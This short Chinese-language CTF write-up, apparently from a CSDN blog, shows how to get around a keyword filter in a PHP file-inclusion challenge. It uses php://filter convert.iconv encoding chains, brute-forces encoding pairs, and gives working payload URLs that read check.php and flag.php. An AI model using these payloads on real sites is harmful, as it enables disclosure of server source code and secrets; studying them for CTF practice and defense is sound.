使用php://filter 发现不行,猜测应该被过滤了
继续尝试,发现read,base64,encode等关键字符被过滤了
了解到php中有两种转换器
发现string被过滤,只能使用convert了
convert.*过滤器支持convert.iconv.* 格式,使用方法:
convert.iconv.
.
或
convert.iconv./ 例如:
convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php
php支持的编码格式(部分)
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
选取一种编码组合,UTF-7,UCS-4LE*
猜测flag在falg.php
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
来源地址:https://blog.csdn.net/m0_56107268/article/details/127846196